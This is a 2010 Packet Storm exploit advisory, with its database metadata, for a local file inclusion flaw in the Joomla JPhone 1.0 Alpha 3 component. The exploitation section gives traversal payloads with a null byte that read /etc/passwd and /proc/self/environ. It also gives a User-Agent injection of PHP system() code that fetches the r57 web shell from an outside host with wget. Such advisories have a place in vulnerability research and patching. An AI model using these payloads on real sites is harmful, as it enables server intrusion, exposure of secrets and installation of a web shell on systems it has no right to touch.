ID PACKETSTORM:93711 Type packetstorm Reporter Chip D3 Bi0s Modified 2010-09-11T00:00:00
Description
`JPhone 1.0 Alpha 3 Component Joomla Local File Inclusion
=========================================================================================
- Discovered by : Chip D3 Bi0s
- Email : chipdebios[at]gmail[dot]com
- Group : LatinHackTeam
- Date : 2010-09-10
- Where : From Remote
-------------------------------------------------------------------------------------
Affected software description
Application : Jphone
Developer : Urs Kobald
Compatibility : 1.0 Alpha 3
License : GPLv2 or later
Date Added : 14 Aug 2010
website : http://www.4you-studio.com
Download : http://www.joomlafrance.org/telecharger/download/Jphone/344bbad81cf491b6e5215e3f15fc3fb7.html
I. BACKGROUND
Called Jphone, component agency 4you studio allows for your Joomla adapted mobile
version with a real interface using page transition effects rather pro
(the cube effect and popup are very nice).
Consisting of a component and a plugin for Joomla, it is after activating the plugin
define a menu (the menu management of Joomla). This is to link the specific component
to display your content. Currently seen by the articles, categories, sections are set
but also those contacts and links Web (Two native Joomla components).
The installation procedure is shown in the download package.
In addition, the proposed version is an alpha version
(therefore usable only for testing purposes) but resulted entirely in French.
Feel free to share your opinion on the forum.
Support for Android and PalmPre should be functional (not tested)
II. DESCRIPTION
Some Local File inclusion vulnerabilities exist in Component Joomla Jphone 1.0 Alpha 3.
III. ANALYSIS
The bug is in the following files, specifying the lines
/components/com_jphone/jphone.php
[63] if($controller = JRequest::getVar('controller')) {
[64]
[65] require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');
Explanation:As noted in the line [65] $controller
nowhere is filtered, which result is lfi as is known to pass '.php' use %00 :)
IV. EXPLOITATION
http://site/path/index.php?option=com_jphone&controller={LFI}
{LFI}=../../../../../../../../../../etc/passwd%00
{LFI}=../../../../../../../../../../proc/self/environ%00
changing the user agent for something so:
<?system('wget http://chipdebios.com/r57.txt -O r57.php');?>
A special greeting to my good friends:
F3l0m4n, R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)
+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
`
{"id": "PACKETSTORM:93711", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Joomla Jphone Local File Inclusion", "description": "", "published": "2010-09-11T00:00:00", "modified": "2010-09-11T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/93711/Joomla-Jphone-Local-File-Inclusion.html", "reporter": "Chip D3 Bi0s", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:20:13", "viewCount": 3, "enchantments": {"score": {"value": -0.1, "vector": "NONE", "modified": "2016-11-03T10:20:13", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:20:13", "rev": 2}, "vulnersScore": -0.1}, "sourceHref": "https://packetstormsecurity.com/files/download/93711/joomlajphone-lfi.txt", "sourceData": "`JPhone 1.0 Alpha 3 Component Joomla Local File Inclusion \n========================================================================================= \n \n- Discovered by : Chip D3 Bi0s \n- Email : chipdebios[at]gmail[dot]com \n- Group : LatinHackTeam \n- Date : 2010-09-10 \n- Where : From Remote \n \n------------------------------------------------------------------------------------- \nAffected software description \n \nApplication : Jphone \nDeveloper : Urs Kobald \nCompatibility : 1.0 Alpha 3 \nLicense : GPLv2 or later \nDate Added : 14 Aug 2010 \nwebsite : http://www.4you-studio.com \nDownload : http://www.joomlafrance.org/telecharger/download/Jphone/344bbad81cf491b6e5215e3f15fc3fb7.html \n \nI. BACKGROUND \n \nCalled Jphone, component agency 4you studio allows for your Joomla adapted mobile \nversion with a real interface using page transition effects rather pro \n(the cube effect and popup are very nice). \n \nConsisting of a component and a plugin for Joomla, it is after activating the plugin \ndefine a menu (the menu management of Joomla). This is to link the specific component \nto display your content. Currently seen by the articles, categories, sections are set \nbut also those contacts and links Web (Two native Joomla components). \nThe installation procedure is shown in the download package. \n \nIn addition, the proposed version is an alpha version \n(therefore usable only for testing purposes) but resulted entirely in French. \nFeel free to share your opinion on the forum. \nSupport for Android and PalmPre should be functional (not tested) \n \nII. DESCRIPTION \n \nSome Local File inclusion vulnerabilities exist in Component Joomla Jphone 1.0 Alpha 3. \n \n \n \nIII. ANALYSIS \n \nThe bug is in the following files, specifying the lines \n \n/components/com_jphone/jphone.php \n \n \n \n[63] if($controller = JRequest::getVar('controller')) { \n[64] \n[65] require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php'); \n \nExplanation:As noted in the line [65] $controller \nnowhere is filtered, which result is lfi as is known to pass '.php' use %00 :) \n \n \nIV. EXPLOITATION \n \nhttp://site/path/index.php?option=com_jphone&controller={LFI} \n{LFI}=../../../../../../../../../../etc/passwd%00 \n{LFI}=../../../../../../../../../../proc/self/environ%00 \n \nchanging the user agent for something so: \n<?system('wget http://chipdebios.com/r57.txt -O r57.php');?> \n \nA special greeting to my good friends: \nF3l0m4n, R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :) \n \n \n \n+++++++++++++++++++++++++++++++++++++++ \n[!] Produced in South America \n+++++++++++++++++++++++++++++++++++++++ \n \n`\n", "immutableFields": []}